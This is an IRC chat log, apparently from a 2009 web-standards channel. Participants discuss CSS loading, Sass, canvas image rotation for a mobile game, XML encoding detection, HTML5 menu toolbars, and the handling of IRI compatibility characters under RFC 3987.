[09:21:01.0000] <boblet>
karlcow: I think git etc + oocss ideas solve maintenance issue

[09:21:02.0000] <boblet>
(multiple files = multiple smaller maintenance problems)

[09:22:00.0000] <Rik|work>
anyway, avoiding @import in favor of <link> is not a big task and provides a good improvement on performances

[09:22:01.0000] <workmad3>
sass also helps with that

[09:23:00.0000] <karlcow>
/me is trying to imagine it in dev environments. With devs/html integrator working on local using svn, then dev.example.org, qa.example.org, preprod.example.org, staging.example.org, example.org (prod)

[09:23:01.0000] <boblet>
workmad3: now you have an additional maintenance problem ;-)

[09:23:02.0000] <workmad3>
(although that seems more on the RoR side of web frameworks so far)... it lets you have @import statements that the sass compiler will pull together beforehand

[09:23:03.0000] <workmad3>
no more than adding any other tool to help you manage css :P

[09:23:04.0000] <boblet>
karlcow: you wouldn’t want to do that using svn—you need distributed

[09:24:00.0000] <karlcow>
boblet: except there is theory and actual structure in place ;)

[09:24:01.0000] <boblet>
workmad3: indeed. Everyone should just go naked!

[09:24:02.0000] <boblet>
karlcow: ah. that :) yep, that can be a problem

[09:25:00.0000] <workmad3>
boblet: that seems to be your argument :P I suggest adding a tool that helps the problem, you say it increases maintenance... therefore go naked and avoid having to repair your clothes :P

[09:26:00.0000] <boblet>
workmad3: you’re a genius! problem solved :D

[09:26:01.0000] <boblet>
j/k

[09:26:02.0000] <boblet>
sass does indeed look very nice

[09:27:00.0000] <workmad3>
and yeah, I agree that sass isn't a solution for everyone... but it is useful and helpful :)

[09:28:00.0000] <workmad3>
and it being able to compile multiple sass stylesheets into a single css stylesheet does exactly what you seemed to want... ease your stylesheet maintenance without having loads of <link> or @import statements :)

[09:33:00.0000] <GPHemsley>
alright, so, that worked... but the threader marked it as a new thread... :/

[09:33:01.0000] <GPHemsley>
/me stabs Gmail for causing so much trouble

[09:36:00.0000] <workmad3>
heh :)

[09:45:00.0000] <karlcow>
http://www.todayandtomorrow.net/2009/09/16/scrollbars/

[09:45:01.0000] <karlcow>
/me remembers all strange experiments that people did with frames and tables when they have been implemented.

[09:46:00.0000] <Rik|work>
why is that chrome and safari only ?

[09:47:00.0000] <karlcow>
no idea. 

[09:47:01.0000] <karlcow>
The Website of the author is… creative :) http://www.the389.com/

[09:48:00.0000] <gsnedders>
/me wonders how accessible that is ;P

[09:56:00.0000] <TabAtkins>
Hrm, the the389.com dude has some pretty crazy-looking stuff.

[10:45:00.0000] <annevk2>
hmm, detection of character encodings in XML is non-normative and incomplete: http://www.w3.org/TR/xml/#sec-guessing

[10:45:01.0000] <annevk2>
good times

[10:54:00.0000] <zcorpan>
annevk2: send email to public-xml-core-wg

[11:00:00.0000] <annevk2>
zcorpan, what chance do you give for errata?

[11:03:00.0000] <zcorpan>
i think it's unlikely that the wg will fix the rules and make them normative

[11:04:00.0000] <zcorpan>
but who knows

[11:04:01.0000] <zcorpan>
i intend to suggest adding the set of entities in xml at some point

[11:06:00.0000] <annevk2>
between that and my issue i've a 90% chance :p

[11:30:00.0000] <annevk2>
http://twitter.com/ppk/status/4031314392 -- "I'm on the verge of deciding that the HTML5 drag and drop is just a fucking disaster and we should continue using old-school scripts."

[11:50:00.0000] <Philip`>
annevk2: Blog typo: "Japenese"

[12:04:00.0000] <annevk42>
ta, fixed

[12:05:00.0000] <annevk42>
also changed labeled to US spelling and fixed authoritative

[12:08:00.0000] <Philip`>
"If only UTF-8 was the accepted encoding well before the Web took off we would not be in this mess" - wasn't UTF-8 the accepted encoding well before XML took off, and it decided to stick with the encoding mess anyway?

[12:14:00.0000] <hsivonen>
Philip`: UTF-8 existed but wasn't yet accepted by everyone in 1998

[12:14:01.0000] <hsivonen>
Philip`: XML and HTML 4.01 probably helped sell Unicode

[12:17:00.0000] <Philip`>
Ah, right

[12:17:01.0000] <Philip`>
/me isn't very good at history

[12:19:00.0000] <hsivonen>
annevk42: https://bugzilla.mozilla.org/show_bug.cgi?id=452915

[12:22:00.0000] <Lachy>
--> "IE7 seems to do the same as Mozilla, afaict, so it seems to me that Mozilla is doing it correctly."

[12:23:00.0000] <Lachy>
this is one case where we shouldn't rely on IE7. Those borders are hated by most designers and always remove them

[12:27:00.0000] <annevk42>
replied

[12:31:00.0000] <GPHemsley>
/me replied, too

[12:44:00.0000] <GPHemsley>
heh, I like this quote: "IE = WYSIWTF"

[13:01:00.0000] <TabAtkins>
/me is on day five of no internet at home.  He's finally broken down and taken his laptop to Starbucks so he can get some actual work done.

[13:21:00.0000] <Philip`>
TabAtkins: Do you have no alternative ways to get internet at home?

[13:22:00.0000] <Philip`>
/me uses a mobile broadband thing which isn't too expensive (if you don't use it much) and is really very useful when the internet goes down for days

[13:22:01.0000] <TabAtkins>
Philip`: No, other than Opera Mini on my phone.

[13:23:00.0000] <Philip`>
Can't you buy something that will work?

[13:23:01.0000] <TabAtkins>
Dunno.  Possibly.  In the meantime I'll just be taking my desktop to my friend's house tomorrow, and working from there until the net gets fixed.

[13:25:00.0000] <Philip`>
Seems much more effort than spending five minutes and the equivalent of £40 in a shop to get a USB device that plugs in to a computer and gives you your internets back :-)

[13:26:00.0000] <TabAtkins>
Losing internet isn't a common occurence anyway.  This is the first time I've lost internet in the five years I've been living by myself, and it's only because something apparently went very wrong with the line hardware outside.

[13:26:01.0000] <TabAtkins>
Also: it means I get to hang out with my friend while I work (we work for the same company, and both work from home).

[13:41:00.0000] <hsivonen>
the reaction (and lack thereof) to Google's willful deviation from the RDFa spec is interesting

[13:42:00.0000] <TabAtkins>
There a link to an explanation of what they violate, hsivonen?

[13:43:00.0000] <hsivonen>
TabAtkins: http://lists.w3.org/Archives/Public/public-rdf-in-xhtml-tf/2009Sep/0124.html

[13:48:00.0000] <TabAtkins>
Hmm, I see.  That's interesting.

[14:25:00.0000] <drunknbass_work>
i know when you draw you can change the  ctm in canvas, but is there anyway to change an Image() and save the image already translated?

[14:26:00.0000] <Philip`>
drunknbass_work: You can draw a transformed image onto a canvas, and then either save the canvas or convert it back into an image with toDataURL

[14:26:01.0000] <Philip`>
if that's what you mean

[14:27:00.0000] <drunknbass_work>
well, im trying to do the least expensive stuff possible

[14:27:01.0000] <drunknbass_work>
i have to rotate anywhere from 0 -25 images and im afraid changing the ctm per redraw that much or more is costly

[14:28:00.0000] <Philip`>
Changing the CTM has basically zero cost

[14:28:01.0000] <drunknbass_work>
oh ok.. well if thats the case thats fine

[14:28:02.0000] <drunknbass_work>
im doing a game for mobile safari and pre and i already struggle for frps even redrawing nothing lol

[14:29:00.0000] <Philip`>
The only difference is that when you do drawImage, it's potentially going to be slightly faster if the image does not have to be rotated

[14:29:01.0000] <Philip`>
but that depends entirely on the implementation and what optimisations it performs

[14:29:02.0000] <Philip`>
so you'd just have to test it and see if there's a difference

[14:29:03.0000] <drunknbass_work>
but there is no other way to handle it right

[14:30:00.0000] <Philip`>
If each image is always rotated the same way, you could use document.createElement('canvas') and then drawImage onto that with all the transformations, and then do a simple straight untransformed ctx.drawImage(that_other_canvas, ...) onto the screen

[14:30:01.0000] <Philip`>
which might be faster or might be slower

[14:31:00.0000] <drunknbass_work>
think of tetris

[14:31:01.0000] <Philip`>
...and just generate that_other_canvas once, and reuse it on every frame

[14:31:02.0000] <drunknbass_work>
the pieces can rotate but they all comeoff the same img file

[14:32:00.0000] <Philip`>
If each can only be rotated in four different directions, it would be reasonable to pre-compute all the rotations of all the images

[14:32:01.0000] <drunknbass_work>
yup

[14:32:02.0000] <Philip`>
and it's possible it might be a little bit faster that way, rather than drawing a rotated image each frame, or maybe not

[14:33:00.0000] <drunknbass_work>
the objects dont actually rotate during gameplay only when the pieces are laid out the first time

[14:33:01.0000] <drunknbass_work>
but even if they did rotate i guess itd make 0 difference

[14:34:00.0000] <drunknbass_work>
since i have to rotate them from original img state anyways

[14:38:00.0000] <franksalim>
drunknbass_work, if you are targeting mobile safari and pre, is using -webkit-transform and images instead of drawing to a canvas viable?

[14:39:00.0000] <drunknbass_work>
can you use webkit transform AND canvas?

[14:39:01.0000] <drunknbass_work>
if not, not, i already used divs and its a mess

[14:41:00.0000] <franksalim>
was it a mess because you weren't rotating the divs? were you using divs like a grid of blocks?

[14:42:00.0000] <Philip`>
I assume the thing you most want to optimise is the drawImage calls that you have to do per frame, and precomputing bitmaps that can be blitted directly onto the screen seems likely to be better than any run-time transformations

[15:37:00.0000] <hober>
http://jkemp.net/tag/hybi.html

[15:39:00.0000] <annevk42>
that's a whole lot of CSS and HTML for a few slides

[15:40:00.0000] <annevk42>
I guess the upside is that it works outside Opera...

[15:50:00.0000] <TabAtkins>
Bleh, that seems horrifying.  You can accomplish slides *way* easier, without even relying on page-* properties.

[15:51:00.0000] <TabAtkins>
Just make html,body,.slide { height:100%; }, then tag each slide with an id and use hashchanges to navigate between slides.

[15:59:00.0000] <TabAtkins>
http://www.xanthir.com/:v3z   <-- basic reimplementation of Kemp's slides using the above hack

[16:00:00.0000] <TabAtkins>
The slides are id'ed as #s1, #s2, etc.

[16:20:00.0000] <annevk42>
Hixie, shouldn't http://html5.org/tools/web-apps-tracker?from=3877&to=3878 be INVALID_STATE_ERR?


2009-09-17
[17:13:00.0000] <Hixie>
microdata in the wild: http://dragnetslegacy.blogspot.com/

[17:32:00.0000] <roc>
why does the structured clone algorithm force leaf objects to be cloned?

[17:32:01.0000] <roc>
when they could be shared?

[17:35:00.0000] <roc>
for example if you have an array of N references to the same ImageData object, structured clone gives you back an array with N different ImageData objects

[18:02:00.0000] <Philip`>
c14n is far too much fun

[23:06:00.0000] <hsivonen>
looks like the SVG WG is pondering extending DOM Core: http://www.w3.org/Graphics/SVG/WG/wiki/Simple_SVG_API

[23:07:00.0000] <heycam>
hsivonen, ideally, such generic extensions would go in dom core

[23:17:00.0000] <othermaciej>
my kingdom for someone to edit Web DOM Core

[23:17:01.0000] <heycam>
apple's a big company, surely you have people

[23:31:00.0000] <hsivonen>
the concept of having on-default graphs seems like an upcoming interop disaster: http://lists.w3.org/Archives/Public/public-rdf-in-xhtml-tf/2009Sep/0144.html

[23:31:01.0000] <hsivonen>
s/on-default/non-default/

[23:35:00.0000] <othermaciej>
heycam: the number of people who are capable of doing such a thing, willing to do so, and can be spared from other tasks, is pretty small

[23:36:00.0000] <othermaciej>
hsivonen: whoah

[23:41:00.0000] <othermaciej>
hsivonen: if they make xmlns declarations for prefixes optional and define a hardcoded or registry-based list of predefined prefixes, I won't complain

[02:08:00.0000] <zcorpan>
http://forums.whatwg.org/viewtopic.php?t=4063

[02:08:01.0000] <zcorpan__>
http://forums.whatwg.org/viewtopic.php?t=4063

[02:11:00.0000] <drunknbass>
heh, my little game engine is coming together nice

[02:11:01.0000] <drunknbass>
and renders good

[02:13:00.0000] <Philip`>
Is it fast enough now? :-)

[02:14:00.0000] <drunknbass>
haha yea

[02:15:00.0000] <drunknbass>
http://dl.getdropbox.com/u/890870/multitouchpipes.mp4

[02:15:01.0000] <drunknbass>
it runs really fast on device too

[02:15:02.0000] <MikeSmith>
drunknbass: but can it beat box? A lot of MCs have some decent mike skills but beatboxing is what really separates the men from the boys.

[02:15:03.0000] <drunknbass>
thats just me getting the multi touch manager working with my game objects

[02:19:00.0000] <annevk2>
http://www.w3.org/mid/17E341CD-E790-422C-9F9A-69347EE01CEB⊙if is both funny and true

[02:19:01.0000] <annevk2>
especially the feed autodiscovery example is very nice

[02:21:00.0000] <hsivonen>
annevk2: what's the funny part?

[02:22:00.0000] <annevk2>
the contrast I think

[02:24:00.0000] <MikeSmith>
what I conclude for this is to get real work done, we clearly need more Joes in basements.

[02:24:01.0000] <hsivonen>
annevk2: did my other email to www-tag this morning make sense?

[02:25:00.0000] <MikeSmith>
following the Field of Dreams approach, maybe if we build more basements we will get more Joes and thus more good specs.

[02:26:00.0000] <drunknbass>
anyone know anything about the pre?

[02:29:00.0000] <Philip`>
MikeSmith: How many more basements do you think the world can accommodate?

[02:30:00.0000] <MikeSmith>
drunknbass: I don't know much but would be interested in hearing what your question is.

[02:30:01.0000] <MikeSmith>
drunknbass: one thing I've been told is that the UI seems to be noticeably more responsive than UI on the iPhone. so my question is, I would like to know how they did that.

[02:30:02.0000] <drunknbass>
just curious if canvas is supported

[02:30:03.0000] <MikeSmith>
drunknbass: I mean in terms of scrolling speed and such

[02:30:04.0000] <drunknbass>
no the ui is nowhere close

[02:30:05.0000] <Philip`>
What browser engine does it use?

[02:30:06.0000] <MikeSmith>
ah, OK

[02:30:07.0000] <drunknbass>
the whole ui experience is horrible

[02:30:08.0000] <MikeSmith>
Philip`: webkit

[02:31:00.0000] <drunknbass>
the browser itself doesnt seem to support canvas

[02:31:01.0000] <drunknbass>
but i thought native apps did

[02:31:02.0000] <drunknbass>
i just havent gotten around to witing any code for it yet

[02:31:03.0000] <MikeSmith>
drunknbass: well, that's disappointing.. from what I was told, I had been hoping they had figured out some magic

[02:31:04.0000] <drunknbass>
nope, ive been devving for iphone almost 2 years

[02:31:05.0000] <drunknbass>
the pre is nowhere close

[02:31:06.0000] <MikeSmith>
drunknbass: have you installed the SDK and tried it out at all

[02:32:00.0000] <MikeSmith>
(the Pre SDK I mean)

[02:32:01.0000] <drunknbass>
i have the palm sdk but havent written any palm specific code yet, was getting a basic canvas based engine going and testing in iphone safari

[02:32:02.0000] <annevk2>
hsivonen, haven't read that one yet

[02:32:03.0000] <drunknbass>
and my stuff works well in iphone so far

[02:32:04.0000] <MikeSmith>
Philip`: the world also needs more basements, with wood paneling, and beanbag chairs

[02:33:00.0000] <hsivonen>
when did Pre branch from WebKit trunk?

[02:33:01.0000] <MikeSmith>
drunknbass: have you tried out and Android development?

[02:33:02.0000] <drunknbass>
nope, ive been waiting till android actually was looking brighter

[02:33:03.0000] <drunknbass>
which seems to be now

[02:35:00.0000] <drunknbass>
so im waiting on the moto cliq to buy a device, then ill get a sholes when thats out since its gonna be a beast

[02:35:01.0000] <MikeSmith>
drunknbass: I live in Japan and 3rd-party Android development seems to be picking up here -- Android devices for Docomo now available

[02:35:02.0000] <drunknbass>
oh cool.. yea i put it off cause i hate java

[02:35:03.0000] <annevk2>
hsivonen, yes

[02:36:00.0000] <drunknbass>
but it seems they have a ndk now so that looks interesting

[02:37:00.0000] <MikeSmith>
drunknbass: I thought the NDK only let you build components -- libraries or whatever -- but that the actual apps still need to be produced using the Java SDK

[02:37:01.0000] <hsivonen>
annevk2: ok. thanks

[02:38:00.0000] <MikeSmith>
drunknbass: the writeups I've seen about the Cliq make it sound pretty disappointing

[02:39:00.0000] <drunknbass>
well. the cli will be better than the g1

[02:39:01.0000] <drunknbass>
but its still not iphone quality

[02:39:02.0000] <MikeSmith>
drunknbass: have you ever done any BREW development?

[02:39:03.0000] <drunknbass>
but there are no android devices that are on that level till sholes is out so its not a big deal

[02:39:04.0000] <drunknbass>
nope. but i did buy a book to learn it lol

[02:40:00.0000] <drunknbass>
i started writing java for dangerOS and hated it

[02:40:01.0000] <annevk2>
how ugly is the image for menu type=toolbar?

[02:40:02.0000] <drunknbass>
and that was the last java i touched

[02:40:03.0000] <annevk2>
is that really how we envision it?

[02:40:04.0000] <MikeSmith>
drunknbass: was dangerOS J2ME?

[02:40:05.0000] <drunknbass>
i think so

[02:41:00.0000] <annevk2>
Hixie, is type=toolbar for system menus or something else?

[02:41:01.0000] <Hixie>
it's for toolbars

[02:41:02.0000] <annevk2>
and would it be drawn on the page's canvas or the browser UI?

[02:41:03.0000] <annevk2>
the spec is really vague

[02:42:00.0000] <Hixie>
how is the spec vague

[02:42:01.0000] <MikeSmith>
maybe you'd like Java development for mobile in a real Java SDK better (which Android has) better than J2ME

[02:42:02.0000] <Hixie>
there's whole sections on this

[02:42:03.0000] <drunknbass>
im sure once i get the hang of it ill be ok

[02:42:04.0000] <Hixie>
annevk2:  http://www.whatwg.org/specs/web-apps/current-work/#tool-bars-0

[02:42:05.0000] <drunknbass>
i just hate the initial hump to get over

[02:42:06.0000] <drunknbass>
esp when i feel so good writing code for mac or iphone

[02:43:00.0000] <drunknbass>
like learning js enough to write a game ive been in a pretty shitty mood the last week or so lol

[02:43:01.0000] <MikeSmith>
drunknbass: just tell yourself, It could be worse. I could be having to program in BREW.

[02:43:02.0000] <annevk2>
Hixie, ok, so it appears inline

[02:43:03.0000] <annevk2>
Hixie, I was looking for menu element in the rendering section

[02:43:04.0000] <Hixie>
ah

[02:44:00.0000] <annevk2>
Hixie, but image in the menu element section does not represent the Mac OS platform for toolbars afaict

[02:44:01.0000] <Hixie>
(sorry, kinda grumpy right now, lacking in sleep)

[02:44:02.0000] <Hixie>
annevk2: yeah the image is a disaster

[02:44:03.0000] <Hixie>
annevk2: wasn't sure how to make a better one to represent that markup

[02:45:00.0000] <Hixie>
annevk2: i tried playing around in interface builder with little success

[02:45:01.0000] <annevk2>
and shouldn't we be addressing the typical dropdown menus you find on pages first?

[02:45:02.0000] <Hixie>
i thought this _was_ addressing that

[02:46:00.0000] <annevk2>
i guess maybe they can if we provide a ton of styling hooks

[02:46:01.0000] <hsivonen>
is Opera Mini available for Brew these days? is it an manual implementation or a Java compilation targeted at non-Java byte code and libs?

[02:46:02.0000] <drunknbass>
yea i swore js was the worst

[02:46:03.0000] <drunknbass>
but its not THAT bad

[02:47:00.0000] <drunknbass>
but only because i can see what im doing actually performing fairly well

[02:48:00.0000] <annevk2>
hsivonen, http://www.opera.com/press/releases/2007/12/06/

[02:48:01.0000] <MikeSmith>
hsivonen: yeah, I think they did a BREW port of Mini, but I have not idea of how it was built

[02:48:02.0000] <MikeSmith>
hsivonen: takkaria might now

[02:48:03.0000] <annevk2>
hsivonen, no idea how much I can share about implementation details, so I'm not gonna

[02:48:04.0000] <MikeSmith>
*know

[02:49:00.0000] <hsivonen>
annevk2: OK. The press release is silent on implementation strategy

[02:49:01.0000] <MikeSmith>
/me notices that annevk2 was actually answering hsivonen questions while I was speculating, and will shut up now

[02:49:02.0000] <hsivonen>
/me recalls reading that Opera had an API wrapper for Android and not an independent port

[02:50:00.0000] <MikeSmith>
hsivonen: that API wrapper was a thing that translates J2ME calls to real Java SE calls

[02:51:00.0000] <Hixie>
/me works on ws: and wss: registrations and grumbles at the inane design of the uri/iri specs

[02:51:01.0000] <annevk2>
Hixie, maybe you should say in a reply to Larry that the registration process should be simplified

[02:52:00.0000] <Hixie>
still waiting for larry to respond to me

[02:52:01.0000] <Hixie>
for the last e-mail i sent

[02:52:02.0000] <annevk2>
review comments?

[02:52:03.0000] <annevk2>
/me got replies from Martin

[02:53:00.0000] <Hixie>
something about how the error handling algorithms aren't quite what we need

[02:53:01.0000] <annevk2>
I wonder if it was because of my email to the public-html list suggesting we should include URL stuff again or some other reason...

[02:59:00.0000] <Hixie>
wooo, we crossed the 100 e-mail barrier

[03:01:00.0000] <Lachy_>
Hixie, how far below it are you?

[03:01:01.0000] <Philip`>
Quick, send more email so we can cross it again

[03:02:00.0000] <Hixie>
right at this minute i'm at 85

[03:02:01.0000] <Lachy_>
Philip`, that's why I was asking how many :-)

[03:02:02.0000] <Hixie>
85 e-mails remaining; 137 issues remaining; 165 bugs remaining

[03:02:03.0000] <jgraham_>
Now we get to see if you are cheating

[03:03:00.0000] <jgraham_>
Because we must reach equlibrium at some point where issues come in as fast as you can respond to them

[03:03:01.0000] <hsivonen>
Hixie: issues as in issues markers in the spec?

[03:03:02.0000] <krijnh>
Will there be a party when we/you reach 0? :)

[03:03:03.0000] <Hixie>
yes

[03:03:04.0000] <jgraham_>
(unless, I guess, you deal with issues faster than several hyundred people report them)

[03:03:05.0000] <krijnh>
Great!

[03:03:06.0000] <jgraham_>
(which is possible, so ignore me)

[03:03:07.0000] <Hixie>
the yes was to hsivonen :-P

[03:04:00.0000] <krijnh>
No, no, that's not how I read the logs! :)

[03:04:01.0000] <Hixie>
jgraham_: i've been responding to requests faster than they've been coming in on average for several years now

[03:04:02.0000] <Lachy_>
krijnh, Hixie said yes before you asked the question

[03:04:03.0000] <krijnh>
/me changes the logs a bit

[03:04:04.0000] <Hixie>
we can have a party also, if you like

[03:04:05.0000] <Philip`>
No, Hixie said yes after krijnh's question

[03:04:06.0000] <krijnh>
There :)

[03:05:00.0000] <Hixie>
personally i was thinking of announcing last call and going on vacation

[03:05:01.0000] <Philip`>
from my frame of reference

[03:05:02.0000] <krijnh>
Hixie: aren't you gonna wait for you Christmas bonus?

[03:05:03.0000] <Hixie>
christmas bonus?

[03:06:00.0000] <jgraham_>
Hixie: But that doesn't necessarily work once you get to a small number of outstanding items because your abilility to respond faster than stuff comes in is predictaed on there being a large volume of communication per issue

[03:06:01.0000] <Hixie>
i'll be back before christmas

[03:06:02.0000] <krijnh>
For reaching LC before Christmas!

[03:06:03.0000] <hsivonen>
LC in October, CR by Christmas :-)

[03:06:04.0000] <Hixie>
jgraham_: i just have to wait til you're all in bed, do the last few issues, announce LC, and then go to bed

[03:06:05.0000] <Hixie>
christmas 2012, maybe

[03:07:00.0000] <krijnh>
You can redefine Christmas using a willful violation!

[03:07:01.0000] <krijnh>
No idea what problem that solves, but heck

[03:07:02.0000] <Philip`>
Someone needs to set up a script that we can submit feedback to, and then it will forward one message to the mailing list every ten minutes

[03:07:03.0000] <hsivonen>
krijnh: it would be backwards-incompatible

[03:08:00.0000] <krijnh>
hsivonen: I need data for that

[03:08:01.0000] <Philip`>
hsivonen: It wouldn't be if you only redefine the meaning of Christmas for years >= 2009

[03:08:02.0000] <Philip`>
I suppose it would still be incompatible with backwards people who haven't adopted our new system, though

[03:09:00.0000] <krijnh>
So anyway, annevk2: let's organize a party with Fronteers when HTML5 reaches LC :)

[03:09:01.0000] <Lachy_>
where should we hold this party?

[03:09:02.0000] <krijnh>
In NL, of course

[03:10:00.0000] <Lachy_>
ok. I do need to visit NL one day soon

[03:10:01.0000] <Lachy_>
before going to the US

[03:10:02.0000] <krijnh>
Before the TPAC you mean?

[03:11:00.0000] <annevk2>
krijnh, I should be in NL between oct25 and nov2 or so

[03:11:01.0000] <Lachy_>
it might have to be after TPAC, since I intend to crash at Anne's place and finding a time when he's at home between now and TPAC isn't going to be easy

[03:11:02.0000] <Lachy_>
unless I go then

[03:12:00.0000] <MikeSmith>
hsivonen: I'm writing a message to the jena-dev list about AryehGregor's http://bugzilla.validator.nu/show_bug.cgi?id=641 bug report

[03:12:01.0000] <MikeSmith>
hsivonen: and I wanted to ask something

[03:13:00.0000] <MikeSmith>
hsivonen: which is, does v.nu do any pre-processing of any kind on IRIs before passing them to the Jena IRI library for checking?

[03:13:01.0000] <hsivonen>
IIRC, not for http

[03:13:02.0000] <MikeSmith>
OK

[03:13:03.0000] <hsivonen>
I can't recall what I did with javascript:

[03:14:00.0000] <MikeSmith>
do you have any insight at all on that error? it seems like a bug in the Jena library, right?

[03:14:01.0000] <hsivonen>
is the character classified as a compatibility character in Unicode?

[03:15:00.0000] <hsivonen>
grr. someone is shaking the house

[03:15:01.0000] <MikeSmith>
hsivonen: err, I'm not sure. I guess I should check that first

[03:15:02.0000] <hsivonen>
hrm. so hard to keeps hard disks safe from vibrations

[03:15:03.0000] <MikeSmith>
/me googles to figure out how to check if something is a compatibility character or not

[03:15:04.0000] <hsivonen>
someone is digging a hole in the ground right outside my window

[03:16:00.0000] <hsivonen>
MikeSmith: I'd expect there to be an RFC somewhere that has a SHOULD NOT for compatibility chars

[03:16:01.0000] <hsivonen>
MikeSmith: maybe it's silly, but I'd expect the Jena check to come from someone 

[03:16:02.0000] <MikeSmith>
OK

[03:16:03.0000] <MikeSmith>
r12a told me that there is some normalized equivalent for that character

[03:16:04.0000] <hsivonen>
so far I've always been able to trace Jena IRI lib behavior to an RFC

[03:17:00.0000] <MikeSmith>
hmm, OK

[03:18:00.0000] <hsivonen>
5.3.2.2. Character Normalization

[03:18:01.0000] <hsivonen>
in RFC 3987 looks interesting

[03:18:02.0000] <boblet>
Hixie: re: using <dl> to mark up conversations a la HTML4, what was the reason that was bad?

[03:19:00.0000] <Hixie>
same reason that using <em> for citations is bad

[03:19:01.0000] <boblet>
Hixie: I remember it as abuse of <dl>, rather than use of <dt>/<dd>…?

[03:19:02.0000] <Hixie>
right

[03:19:03.0000] <boblet>
so overloading one element with two semantic meanings is the bad thing, is that correct? 

[03:20:00.0000] <hsivonen>
I'm not seeing anything about compatibility characters under security considerations

[03:20:01.0000] <Hixie>
boblet: no

[03:20:02.0000] <hsivonen>
but the spec mentions NFKC which doesn't preserve compatibility characters...

[03:20:03.0000] <Hixie>
boblet: not necessarily

[03:20:04.0000] <Hixie>
boblet: overloading one element for two meanings in an indistinguishable way can be a problem, though

[03:21:00.0000] <hsivonen>
MikeSmith: found a SHOULD!

[03:21:01.0000] <Hixie>
boblet: especially when the ways are somewhat contradictory (e.g. "name-value pairs" vs "dialogue")

[03:21:02.0000] <boblet>
Hixie: I’m wondering if given <dt>/<dd>’s recent expansion into <figure> etc, would <ol><dt><dd></ol> be feasible?

[03:21:03.0000] <MikeSmith>
hsivonen: http://www.eki.ee/letter/chardata.cgi?ucode=edc

[03:21:04.0000] <hsivonen>
section 7.5. third paragraph

[03:21:05.0000] <Hixie>
boblet: to mean what?

[03:22:00.0000] <MikeSmith>
hsivonen: .me reads RFC 3987

[03:22:01.0000] <boblet>
Hixie: as a substitute for <dialog><dt><dd></dialog>

[03:22:02.0000] <hsivonen>
MikeSmith: I take "<compat>" to mean it's a compatibility character

[03:22:03.0000] <boblet>
admittedly a stretch…

[03:22:04.0000] <Hixie>
boblet: what's wrong with <p></p> as a substitute

[03:22:05.0000] <boblet>
a conversation seems to call for a list ordered by time

[03:23:00.0000] <Hixie>
o_O

[03:23:01.0000] <hsivonen>
MikeSmith: I'm not taking a stance on whether the SHOULD makes sense, but it's not a Jena bug

[03:23:02.0000] <boblet>
/me wonders if that’s the falling off the chair emoticon

[03:24:00.0000] <hsivonen>
MikeSmith: one option would be disabling the treatment of SHOULD violations as errors

[03:24:01.0000] <MikeSmith>
hsivonen: yeah

[03:24:02.0000] <hsivonen>
in the datatype lib where the Jena lib is configured

[03:25:00.0000] <MikeSmith>
hsivonen: but it gets back to, we'd still want to warn about those at least

[03:25:01.0000] <MikeSmith>
so we need that warn mechanism...

[03:25:02.0000] <MikeSmith>
in the HTML5 datatype lib

[03:25:03.0000] <hsivonen>
yes...

[03:26:00.0000] <MikeSmith>
hsivonen: I will try to work on it next week

[03:26:01.0000] <hsivonen>
Hixie: did you mean to import IRI SHOULD violations into HTML5 conformance criteria?

[03:26:02.0000] <hsivonen>
MikeSmith: cool

[03:26:03.0000] <Hixie>
hsivonen: no idea

[03:26:04.0000] <Hixie>
hsivonen: which ones

[03:26:05.0000] <Philip`>
hsivonen: You should use cloud storage, so your disks are isolated from any vibrations down on the ground

[03:26:06.0000] <hsivonen>
Hixie: any

[03:27:00.0000] <MikeSmith>
/me seems to remember promising last week to work on it this week..

[03:27:01.0000] <hsivonen>
Hixie: any that apply to authors that is

[03:27:02.0000] <boblet>
Hixie: I’m guessing that meant I’m talking crazy then, huh :)

[03:27:03.0000] <Hixie>
boblet: :-)

[03:27:04.0000] <Hixie>
boblet: i just don't understand the problem it would solve

[03:27:05.0000] <Hixie>
hsivonen: as a general rule i want to violate other specs as little as possible

[03:28:00.0000] <Hixie>
hsivonen: however, as a general rule, i'll violate them where it's necessary for compatibility or sanity

[03:28:01.0000] <Philip`>
boblet: http://en.wikipedia.org/wiki/o_O :-p

[03:28:02.0000] <Hixie>
hsivonen: dunno what else to say unless you have a more specific question

[03:28:03.0000] <Philip`>
(Hmm, actually that page doesn't quite describe that symbol)

[03:29:00.0000] <boblet>
a sanctioned way to mark up dialogs that is more semantic than <p><i class="speaker">speaker</i> statement</p>

[03:29:01.0000] <Hixie>
boblet: "Semantic" is not a goal

[03:29:02.0000] <boblet>
/me is rescued from ignorance by Philip` 

[03:29:03.0000] <hsivonen>
Hixie: is it dumb to emit an error when Wikipedia uses ໜ in href?

[03:29:04.0000] <boblet>
I gotta go,

[03:30:00.0000] <boblet>
might email it to the list so I can be shot down in a more public forum ;-)

[03:30:01.0000] <Hixie>
(that is, "semantic" is a means, not an end)

[03:30:02.0000] <Hixie>
hsivonen: dunno

[03:30:03.0000] <Hixie>
hsivonen: why would it be an error?

[03:30:04.0000] <boblet>
Hixie: I’ll ask you about that next time I’m on… til then

[03:30:05.0000] <hsivonen>
Hixie: it's a compatibility character

[03:30:06.0000] <annevk2>
hsivonen, since you validate href= you should arguably validate CSS too :)

[03:31:00.0000] <Hixie>
hsivonen: those are bad right?

[03:31:01.0000] <Hixie>
hsivonen: i guess it should be an error then

[03:31:02.0000] <Hixie>
hsivonen: dunno, ask martin d or r12a

[03:31:03.0000] <hsivonen>
Hixie: well, the IRI spec says they are bad on the SHOULD level

[03:31:04.0000] <hsivonen>
Hixie: I'm not sure what the exact badness is

[03:31:05.0000] <hsivonen>
Hixie: except if you print the IRI and type it back in, it's ambiguous what IRI you meant

[03:32:00.0000] <Hixie>
hsivonen: sounds bad

[03:32:01.0000] <hsivonen>
actually, that's the badness

[03:33:00.0000] <hsivonen>
AryehGregor: would MediaWiki be helped or hindered if it used NFKC for article IRIs?

[03:34:00.0000] <hsivonen>
AryehGregor: maybe it could use NFKC for canonical IRIs and redirect non-NFKC IRIs to the NFKC-normalized IRIs

[03:34:01.0000] <annevk2>
hsivonen, IRIs should be NFC

[03:34:02.0000] <hsivonen>
AryehGregor: does referring to Lao Wikipedia articles in print work in practice now

[03:34:03.0000] <annevk2>
hsivonen, when you type in an IRI, it ought to be normalized to NFC

[03:34:04.0000] <hsivonen>
annevk2: the RFC encourages NFKC but allows NFC

[03:35:00.0000] <annevk2>
that's weird

[03:35:01.0000] <hsivonen>
when one types the said Lao character, does one get NFKC on the usual operating systems?

[03:36:00.0000] <hsivonen>
annevk2: Although there may be exceptions, newly created resource names should generally be in NFKC [UTR15] (which means that they are also in NFC).

